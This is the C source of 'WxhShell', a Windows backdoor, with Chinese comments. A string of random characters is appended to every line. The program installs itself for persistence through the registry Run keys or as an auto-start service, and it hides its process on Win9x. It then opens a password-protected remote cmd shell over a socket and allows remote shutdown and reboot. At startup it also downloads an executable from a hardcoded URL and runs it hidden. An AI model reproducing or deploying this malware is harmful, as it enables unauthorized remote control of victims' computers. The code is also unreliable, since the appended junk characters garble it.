    break; idwiM|.iU  
    } KzQ\A!qG  
  // 关机 }w \["r  
  case 'd': { E^.y$d~dS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >K{/Jx&  
    if(Boot(SHUTDOWN)) Y$%/H"1bk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RVFQ!0 C  
    else { r( _9_%[  
    closesocket(wsh); +\FTR  
    ExitThread(0); W;]*&P[[   
    } +Y!9)~f}7X  
    break; `;7^@k  
    } O a_2J#~$  
  // 获取shell r5b5`f4  
  case 's': { sXzxEhp  
    CmdShell(wsh); G: FP9  
    closesocket(wsh); s(Of EzsH=  
    ExitThread(0); 3~"G(UP  
    break; K/Q^8%Z  
  } #>-_z  
  // 退出 V#?GDe}[  
  case 'x': { 'CT 8vt;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O:fv1  
    CloseIt(wsh); tBgB>-h(  
    break; 0>Y3>vwSl  
    } hKw4[wB]  
  // 离开 X>w(^L*>  
  case 'q': { ':8yp|A|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .__X- +^  
    closesocket(wsh); jX^uNmb  
    WSACleanup(); SxLu<  
    exit(1); ql5NSQ>{  
    break; Z 6^AO=3  
        } x^kV;^ I  
  } +Zu*9&Cx  
  } d\}r.pD  
j  )6A  
  // 提示信息 F}P+3IaE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K &m`1f  
} ^)Xl7d|m+  
  } 2xvTijO0  
rvZXK<@#+  
  return; 12;"=9e!  
} [mKPOg-t  
hjywYd]8  
// shell模块句柄 @K; 4'b~  
int CmdShell(SOCKET sock) M XsSF|-  
{ 4QODuyl2H  
STARTUPINFO si; X>^St&B}fC  
ZeroMemory(&si,sizeof(si)); Q?KWiFA}'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V dp wZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A{mv[x-XN  
PROCESS_INFORMATION ProcessInfo; 5y;texsj[  
char cmdline[]="cmd"; 6m_ fEkS[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wP.b2X_V  
  return 0; 2Z 4Ekq0@  
} BwwOaO@L  
~;nh|v/e  
// 自身启动模式 ,h,DB=!K<  
int StartFromService(void) $8gj}0}eH  
{ Lu,72i0O ^  
typedef struct _]btsv\)f  
{ 2TB>d+  
  DWORD ExitStatus; Eb66GXF[  
  DWORD PebBaseAddress; 33dHTV  
  DWORD AffinityMask; WPT0=Hqp7  
  DWORD BasePriority; ZYr6Wn  
  ULONG UniqueProcessId; NO5\|.,Z  
  ULONG InheritedFromUniqueProcessId; tB4dkWt.}  
}   PROCESS_BASIC_INFORMATION; qScc~i Oq  
3oX\q/$  
PROCNTQSIP NtQueryInformationProcess; JGl0 (i*|  
d>[=]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wp7<0PP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]E/^(T-O  
G^E"#F  
  HANDLE             hProcess; 8i:E$7etH  
  PROCESS_BASIC_INFORMATION pbi; <4r3ZV;'  
Fq\vFt|m<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m,YBk<Bx  
  if(NULL == hInst ) return 0; E Dh$UB)  
zf+jQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (JV [7u -  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); i+rh&,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;7,>2VTm  
?wM{NVt#-  
  if (!NtQueryInformationProcess) return 0; }7)iLfi  
)Iu0MN&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #Bu W  
  if(!hProcess) return 0; *Ae> ,LyE  
miWog8j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ZSWKVTi  
haNi [|  
  CloseHandle(hProcess); O^/z7,  
L>xecep  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f8ucJ.{"  
if(hProcess==NULL) return 0; ))M!"*  
1nGpW$Gx  
HMODULE hMod; oUSv)G.zb  
char procName[255]; 'P'f`;'_DC  
unsigned long cbNeeded; :{7gZ+*  
o'Rr2,lVi  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dV/ ^@[  
NgI n\) =0  
  CloseHandle(hProcess); /O`<?aP%  
c+a"sx\  
if(strstr(procName,"services")) return 1; // 以服务启动 <PMQ$s>KK  
RX])#=Cs  
  return 0; // 注册表启动 >]dH1@@  
} 5`>%{ o  
{wK| C<K  
// 主模块 X0FTD':f  
int StartWxhshell(LPSTR lpCmdLine) OV>JmYe1{/  
{ U7_1R0h  
  SOCKET wsl; 4CH/~b1 (  
BOOL val=TRUE; bz'#YM  
  int port=0; sa?Ul)L2  
  struct sockaddr_in door; ja2BK\"1:  
 Y%zYO  
  if(wscfg.ws_autoins) Install(); ov$S   
{e]ktj#+{  
port=atoi(lpCmdLine); ?GT,Y5  
59k[A~)~  
if(port<=0) port=wscfg.ws_port; L9} %tEP  
$:}sm0;  
  WSADATA data; 'nQQqx%v  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (qyT,K8  
qmy3pnL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   G2 {R5F !  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E7`Q =4@e  
  door.sin_family = AF_INET; \2#j1/d4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 96#aG h>  
  door.sin_port = htons(port); U32&"&";c  
; 8B )J<y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bdYx81  
closesocket(wsl); s2kom)  
return 1; hd%O\D?  
} 1e)5D& njS  
7*>(C*q=  
  if(listen(wsl,2) == INVALID_SOCKET) { w f""=;  
closesocket(wsl); L (@".{T  
return 1; HceZTe@  
} i5; _  
  Wxhshell(wsl); P.Gmj;  
  WSACleanup(); ozUsp[W>  
c2~oPUj  
return 0; XCyAt;neon  
lU8X{SV!  
} S4C4_*~Vd  
dw YGhhm  
// 以NT服务方式启动 IfzW%UL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) AYHefAF<w  
{ @3_."-d  
DWORD   status = 0; qBF}-N_  
  DWORD   specificError = 0xfffffff; )\m%&EXG{  
j|w_BO 9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; e\95X{_'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K06x7W  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W%P$$x5&  
  serviceStatus.dwWin32ExitCode     = 0; P;V5f8r?  
  serviceStatus.dwServiceSpecificExitCode = 0; N?l  
  serviceStatus.dwCheckPoint       = 0; ^X| Bzz)  
  serviceStatus.dwWaitHint       = 0; EY}*}-3  
p"|0PlW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `%$l b:e  
  if (hServiceStatusHandle==0) return; 3FsX3K,_X  
lnWs cb3t  
status = GetLastError(); <o: O<p@6  
  if (status!=NO_ERROR) [W Ud9fUL  
{ 2B[I- K s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V*%Lc9<d  
    serviceStatus.dwCheckPoint       = 0; 2@>#?c7  
    serviceStatus.dwWaitHint       = 0; tE"IE$$1  
    serviceStatus.dwWin32ExitCode     = status; k.?@qCs[  
    serviceStatus.dwServiceSpecificExitCode = specificError; & d@N3y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); OR<%h/ \f  
    return; T u7}*vsR  
  } H|s,;1#  
xF8 8'p'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; DgGG*OXY  
  serviceStatus.dwCheckPoint       = 0; W;QU6z>  
  serviceStatus.dwWaitHint       = 0; _Eus7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^-g-]?q  
} 5K {{o''  
UO}Yr8Z;  
// 处理NT服务事件,比如:启动、停止 *DuP~8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) f <LRM  
{ @!,W]?{  
switch(fdwControl) ~pPj   
{ 0/fA>%&  
case SERVICE_CONTROL_STOP: NflRNu:-  
  serviceStatus.dwWin32ExitCode = 0; A ^X1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !w{(}n2Wq  
  serviceStatus.dwCheckPoint   = 0; AR6hfdDDT  
  serviceStatus.dwWaitHint     = 0; P|rreSv*  
  { ]z"7v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gmdA1$c  
  } "4WwiI9  
  return; 9N;y^ Y\  
case SERVICE_CONTROL_PAUSE: UY/qI%#L#,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; de,4M s!%  
  break; zTW)SX_O  
case SERVICE_CONTROL_CONTINUE: 6a4-VX5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; k@9CDwh*s  
  break; KpfQ=~'  
case SERVICE_CONTROL_INTERROGATE: L /V;;  
  break; OHK]=DH:M  
}; ;[!W*8.c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b&I{?'"%8  
} Ag_I'   
57`9{.HB  
// 标准应用程序主函数 9 $ Ud\   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }= (|3 \v  
{ ~zyD=jx P9  
]Aa.=  
// 获取操作系统版本 +~'ap'k m  
OsIsNt=GetOsVer(); ;)'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7"s8G 7  
x|U[|i,;  
  // 从命令行安装 k_](u91  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7R=A]@  
6 i'kc3w  
  // 下载执行文件 MRa |<yK  
if(wscfg.ws_downexe) { DH'0#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) eWU@ @$9  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ou wEO   
} E2yL9]K2  
f~v@;/HL  
if(!OsIsNt) { |5#iPw_wMY  
// 如果时win9x,隐藏进程并且设置为注册表启动 (VB-5&b  
HideProc(); V^qkHm e  
StartWxhshell(lpCmdLine); o 76QQ+hP  
} #ByrX\  
else IT0 [;eqR  
  if(StartFromService()) q+cx.Rc#  
  // 以服务方式启动 b";D*\=x  
  StartServiceCtrlDispatcher(DispatchTable); B'~CFj0W%=  
else /6nj 4.xxc  
  // 普通方式启动 g: ,*Y^T  
  StartWxhshell(lpCmdLine); ;}QM#5Xdt  
} DQ KfS  
return 0; UwVc!Lys  
} * $v`5rP  
  7)  
]97`=,OUg  
vz}_^8O  
=========================================== y)0wM~E;2  
_p,1m[&M  
UY`U[#  
T;Zv^:]0  
P=PVOt@ b  
0)nY- f0  
" 8|H^u6+yz  
5M mSQ_  
#include <stdio.h> c^%&-],  
#include <string.h> J>%uak<  
#include <windows.h> OYayTKxN  
#include <winsock2.h> ,<,#zG[.  
#include <winsvc.h>  jgd^{!  
#include <urlmon.h> m5\/7 VC  
y-=YXqj  
#pragma comment (lib, "Ws2_32.lib") >cRE$d?  
#pragma comment (lib, "urlmon.lib") aW@J]slg  
ZD t|g^  
#define MAX_USER   100 // 最大客户端连接数 E;)7#3gY1  
#define BUF_SOCK   200 // sock buffer 4}MZB*);0  
#define KEY_BUFF   255 // 输入 buffer !Ng~;2GoA  
?0VETa ~m  
#define REBOOT     0   // 重启 0w<G)p~%n  
#define SHUTDOWN   1   // 关机 VFjNrngl  
-9@/S$i  
#define DEF_PORT   5000 // 监听端口 rWnZIt"  
!K5D:x  
#define REG_LEN     16   // 注册表键长度 8zWKKcf7t  
#define SVC_LEN     80   // NT服务名长度 MaQ`7U5 |e  
i.Jk(%c  
// 从dll定义API Kta7xtu  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hB 36o9|9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j%@wQVxq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); QZ^P2==x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z*BGaSX %  
G@I/Dy  
// wxhshell配置信息  1@p'><\  
struct WSCFG { `zBQ:_3J_  
  int ws_port;         // 监听端口 H<wrusRg  
  char ws_passstr[REG_LEN]; // 口令 -lNT"9  
  int ws_autoins;       // 安装标记, 1=yes 0=no |T;NoWO+  
  char ws_regname[REG_LEN]; // 注册表键名 ,)](h+zl_6  
  char ws_svcname[REG_LEN]; // 服务名 |\iJ6m;a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .W1i3Z6g  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 B jsF5~+\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y*q_>kps"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [Adkj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /O/pAu>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "{Jq6):mp  
3D*vNVI  
}; g?=|kp  
qsTB)RdjP%  
// default Wxhshell configuration DgB]y6~KXl  
struct WSCFG wscfg={DEF_PORT, .6xIg+  
    "xuhuanlingzhe", Al1BnFB  
    1, 9Vh>ty1|_  
    "Wxhshell", ^ua8Ya  
    "Wxhshell", vh">Z4  
            "WxhShell Service", =p29 }^@@t  
    "Wrsky Windows CmdShell Service", dB%q`7O  
    "Please Input Your Password: ", <sNk yQ  
  1, >ho$mvT  
  "http://www.wrsky.com/wxhshell.exe", SB}0u=5  
  "Wxhshell.exe" 4(O;lVT}  
    }; ^g eC?m  
`SH#t3 5,  
// 消息定义模块 NP_b~e6O=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :*0l*j  
char *msg_ws_prompt="\n\r? for help\n\r#>"; u^NZsuak  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vE=)qn=a  
char *msg_ws_ext="\n\rExit."; k~+(X|!5w  
char *msg_ws_end="\n\rQuit."; Jx(`.*$  
char *msg_ws_boot="\n\rReboot..."; dX8N7{"[  
char *msg_ws_poff="\n\rShutdown..."; m\O|BMHn  
char *msg_ws_down="\n\rSave to "; +#IsRiH%>  
@M!Wos Rk  
char *msg_ws_err="\n\rErr!"; 2&Hn%q)  
char *msg_ws_ok="\n\rOK!"; lmjoSINy  
@cz\'v6E  
char ExeFile[MAX_PATH]; "spAYk\  
int nUser = 0; 0>KW94  
HANDLE handles[MAX_USER]; R]y[n;aGC  
int OsIsNt; Kf!8PR$  
+o94w^'^$b  
SERVICE_STATUS       serviceStatus; P pF"n[j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Mw,7+  
RO10$1IW.2  
// 函数声明  {Hp*BE   
int Install(void); z%cpV{Nu  
int Uninstall(void); }VUrn2@-4  
int DownloadFile(char *sURL, SOCKET wsh); 00d<V:Aoy  
int Boot(int flag); 2G9sKg,kL  
void HideProc(void); q\fZ Q  
int GetOsVer(void); hQT  p&  
int Wxhshell(SOCKET wsl); :UrS@W^B  
void TalkWithClient(void *cs); ?9)-?tZ^Q  
int CmdShell(SOCKET sock); 2V*<HlqOif  
int StartFromService(void); |z`kFil%  
int StartWxhshell(LPSTR lpCmdLine); $B3<"  
wx,yx3c (  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n M?mdb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); snW=9b)m  
$aFCe}3b<  
// 数据结构和表定义 \ $PB~-Z  
SERVICE_TABLE_ENTRY DispatchTable[] = 8LMO2Wyq  
{ {+&qC\YF  
{wscfg.ws_svcname, NTServiceMain}, 9 Z 5!3  
{NULL, NULL} *b@YoQe3!  
}; tf5h/:  
G; *jL4  
// 自我安装 (<"uV%1  
int Install(void) T|{1,wP  
{ &H`AS6  
  char svExeFile[MAX_PATH]; R2 I 7d'|v  
  HKEY key; (pl|RmmDz  
  strcpy(svExeFile,ExeFile); dV( "g],  
%}nNwuJ  
// 如果是win9x系统,修改注册表设为自启动 E W {vF|  
if(!OsIsNt) { *x;&fyR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y$%z]i5   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ig sK7wn  
  RegCloseKey(key); bAsoIra  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LL}|# %4d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w'/ Mn+  
  RegCloseKey(key); 7l%]/`Y-  
  return 0; a%"27 n(M  
    } - DO  
  } / X #4  
} m~#f L  
else { L>&o_bzp  
%l#i9$s  
// 如果是NT以上系统,安装为系统服务 v|WTm#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i1OF @~?  
if (schSCManager!=0) &RzkM4"  
{ tTMYqg zUk  
  SC_HANDLE schService = CreateService u?J!3ZEtb  
  ( UcHe"mn  
  schSCManager, vSOO[.=  
  wscfg.ws_svcname, gyz#:z$p^  
  wscfg.ws_svcdisp, %a_ rYrL  
  SERVICE_ALL_ACCESS, N5yt'.d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vG{+}o#  
  SERVICE_AUTO_START, V+A9.KoI  
  SERVICE_ERROR_NORMAL, <K(qv^C  
  svExeFile, g?e$B}%  
  NULL, @Nm;lZK  
  NULL, !R;NV|.eI6  
  NULL, 6cF~8  
  NULL, y*BS %xTF  
  NULL 5Hli@:B2s  
  ); >o]!-46  
  if (schService!=0) klwC.=?(j"  
  { >{seaihK  
  CloseServiceHandle(schService); 6ka, FjJ\  
  CloseServiceHandle(schSCManager); )}/ ycTs  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); - kGwbV}  
  strcat(svExeFile,wscfg.ws_svcname); %`M IGi#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B#+0jdF;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _i/x4,=xv  
  RegCloseKey(key); EO_:C9=d{  
  return 0; OH(w3:;[8  
    } ,esryFRG  
  } lBpy0lo#  
  CloseServiceHandle(schSCManager); 2ncD,@ij  
} Z}8khNCYr  
} ($h`Y;4  
gXNlnh%?S  
return 1; u6B,V  
} !nBE[&  
V!{}%;f  
// 自我卸载 ccdP}|9e  
int Uninstall(void) SU,#:s(  
{ yDE0qUO  
  HKEY key; 1 +0-VRl  
pL& Zcpx  
if(!OsIsNt) { l\HLlwYO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mm l`,t8  
  RegDeleteValue(key,wscfg.ws_regname); ;v*J:Mn/=  
  RegCloseKey(key); RZ6[+Ygn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #[uDVCM  
  RegDeleteValue(key,wscfg.ws_regname); 2`[iTBZ=^  
  RegCloseKey(key); Q[wTV3d  
  return 0; Un~8N  
  } ~YH'&L.O  
} AgBXB%).  
} *%nV<}e^_=  
else { -](NMRqfN  
9sgyg3fv>5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xa=Lu?t%<  
if (schSCManager!=0) =^9I)JW  
{ ]SO-NR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]U,c`?[7#  
  if (schService!=0) '&;s32']}  
  { 2m*g,J?ql  
  if(DeleteService(schService)!=0) { ld7B!_b<  
  CloseServiceHandle(schService); VqIzDs  
  CloseServiceHandle(schSCManager); cm'`u&S  
  return 0; R/O>^s!Co  
  } s2X<b `  
  CloseServiceHandle(schService); t/kMV6  
  } }g9g]\.!a  
  CloseServiceHandle(schSCManager); e!B>M{  
} Xa xM$  
} *B3 4  
"8-;Dq'+  
return 1; k vQ] }`a  
} ,bGYixIfYZ  
'Zket=Sm;  
// 从指定url下载文件 :,@\q0j"=  
int DownloadFile(char *sURL, SOCKET wsh) ,O'#7Dj  
{ C]bre^q  
  HRESULT hr; (>R   
char seps[]= "/"; Q`B K R]/  
char *token; E5+-N  
char *file; <Rb[0E$  
char myURL[MAX_PATH]; !!\x]$v  
char myFILE[MAX_PATH]; (X3}&aLF  
y[64O x  
strcpy(myURL,sURL); DmA~Vj!a^y  
  token=strtok(myURL,seps); (rE.ft5$9  
  while(token!=NULL) w~%Rxdh?8W  
  { us7t>EMmB  
    file=token; @4]} J-3  
  token=strtok(NULL,seps); 49Q tfk  
  } 579<[[6~d2  
51Q m2,P1^  
GetCurrentDirectory(MAX_PATH,myFILE); O}3|UI!`  
strcat(myFILE, "\\");  {S$61ut  
strcat(myFILE, file); Gv+$7{  
  send(wsh,myFILE,strlen(myFILE),0); B4M rrW4=  
send(wsh,"...",3,0); c.eUlr_ {  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Rh :|ij>B  
  if(hr==S_OK) .dO8I/lhV  
return 0; B~h3naSe  
else H 2JKQm_  
return 1; (Zz8 ldO  
t8ZzBD!dP  
} xh:A*ZI=7  
M/J?$j  
// 系统电源模块 ]pq(Q:"P,5  
int Boot(int flag) eq6>C7.$  
{ +/n<]?(T  
  HANDLE hToken; oiTSpd-  
  TOKEN_PRIVILEGES tkp; yBl9a-2A  
=fcM2O#$  
  if(OsIsNt) { |*%i]@V=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _O3X;U7rc  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;u*I#)7  
    tkp.PrivilegeCount = 1;  &Sdf0"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QX+Xi<YE-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X#<+D1P  
if(flag==REBOOT) { @:Emmzucv|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {l9gYA  
  return 0; 1}Th@Vq  
} g%_ 3  
else { ^jE8 "G*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O~#A )d6  
  return 0; VVw5)O1'  
} >+9:31p  
  } U8a5rF><  
  else { "9X1T]  
if(flag==REBOOT) { ) W/_2Q.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `d}t?qWS;F  
  return 0; UB,0c)   
} U'LPaf$O  
else { +Kp8X53  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~~3*o  
  return 0; 6F_:,b^  
} UCo`l~K)qg  
} $/crb8-C  
wlFK#iK  
return 1; ny}_^3  
} ?=,7'@e  
](^FGz  
// win9x进程隐藏模块 -_M':  
void HideProc(void) ~(`&hYE  
{ Oe21noL  
vDIsawbHD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sD$K<nyz  
  if ( hKernel != NULL ) /*(&Dmt>  
  { SmUiH9qNd,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r72zWpF!Ss  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <m,bP c :R  
    FreeLibrary(hKernel); `S A1V),~  
  } K7t_Q8  
n-{.7  
return; m^ /s}WEqp  
} s_3a#I  
A{Qo}F<*  
// 获取操作系统版本 |-TxX:O-  
int GetOsVer(void) p }e| E!  
{ R[l~E![!j  
  OSVERSIONINFO winfo; qIxe)+.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X o[GD`t  
  GetVersionEx(&winfo); t$b5,"G1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vDyGxU!#\  
  return 1; BKV:U\QZ  
  else Z&n#*rQ7[  
  return 0; "5v^6R9e  
} 2Vs+8/  
)d>Dcne  
// 客户端句柄模块 K1w:JA6(  
int Wxhshell(SOCKET wsl) s^k<r;'\  
{ =7EkN% V:{  
  SOCKET wsh; S263h(H  
  struct sockaddr_in client; ]TN/n%\  
  DWORD myID; UgD)O:xaU  
\}AJ)v*<  
  while(nUser<MAX_USER) tF\_AvL_8  
{ gYloY=.Z$'  
  int nSize=sizeof(client); _YN C}PUU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Fzt7@VNxc  
  if(wsh==INVALID_SOCKET) return 1; TPLv]$n  
e'p"gX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xIH= gK  
if(handles[nUser]==0) nW`] =  
  closesocket(wsh); ^>^h|$  
else cYBjsN(!A|  
  nUser++; _UY=y^ c0>  
  } {Es1bO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ZG? e%  
KL*+gq0k  
  return 0; w_DaldK*  
} $LG.rJ/*  
cH5RpeP  
// 关闭 socket Ec^2tx"=  
void CloseIt(SOCKET wsh) <sX_hIA^Fx  
{ "rVM23@ tq  
closesocket(wsh); m*\LO%s]E  
nUser--; ],vid1E  
ExitThread(0); 9< S  
} or bz`IQc  
%cJdVDW`L  
// 客户端请求句柄 Ocz21gl-?`  
void TalkWithClient(void *cs) _Fe=:q  
{ ]:m4~0^#-(  
J(A+mYr{:  
  SOCKET wsh=(SOCKET)cs; l TVz'ys  
  char pwd[SVC_LEN]; >U?#'e{qW  
  char cmd[KEY_BUFF]; 0.c9 6&  
char chr[1]; [z6P]eC7  
int i,j; uo*lW2&U  
eR/X9<  
  while (nUser < MAX_USER) { =h|7bYLy  
LR'~:46#u  
if(wscfg.ws_passstr) { ad9u;uS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #WGyQ u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ga V OMT  
  //ZeroMemory(pwd,KEY_BUFF); OL^DuoB4q  
      i=0; >h~>7i(A  
  while(i<SVC_LEN) { E^m)&.+'M  
SpOSUpl%  
  // 设置超时 P7REE_<1  
  fd_set FdRead; e@& 2q{Gi=  
  struct timeval TimeOut; ;yCtk ~T%  
  FD_ZERO(&FdRead);  v&7x ~!O  
  FD_SET(wsh,&FdRead); v[ R_6  
  TimeOut.tv_sec=8; vV*/"'>  
  TimeOut.tv_usec=0; |!1iLWQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); NE3/>5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l E* .9T  
]BTISaL-R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); woN d7`C}7  
  pwd=chr[0]; |uX&T`7?-  
  if(chr[0]==0xd || chr[0]==0xa) { Zm(}~C29  
  pwd=0; ha9 d z  
  break; ;<%d^   
  } 3M'Y'Szm  
  i++; y+ izC+  
    } <l>L8{-3  
ZS@R?  
  // 如果是非法用户,关闭 socket $N|Spp0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); faZc18M^1  
} q~X}&}UT  
W#wC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W;U<,g '  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v{8r46Y~Z)  
U;gy4rj  
while(1) { -cUw}  
9'KOc5@l^  
  ZeroMemory(cmd,KEY_BUFF); 2#' "<n,G  
u:,B&}j  
      // 自动支持客户端 telnet标准   SV^[)p )  
  j=0; %*Yb J_j7  
  while(j<KEY_BUFF) { C.se/\PE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZKi?;ta=  
  cmd[j]=chr[0]; D@k#'KU  
  if(chr[0]==0xa || chr[0]==0xd) { "<"s&ws;k  
  cmd[j]=0; a!PN`N28  
  break; `|:` yl  
  } ?Uhjyi  
  j++; e C&!yY2g  
    } SWNT}{x]  
W@~a#~1O  
  // 下载文件 u#3Cst8Y  
  if(strstr(cmd,"http://")) { @j%7tfW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); s]xn&rd_  
  if(DownloadFile(cmd,wsh)) 1#2L9Bi  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5g2:o^  
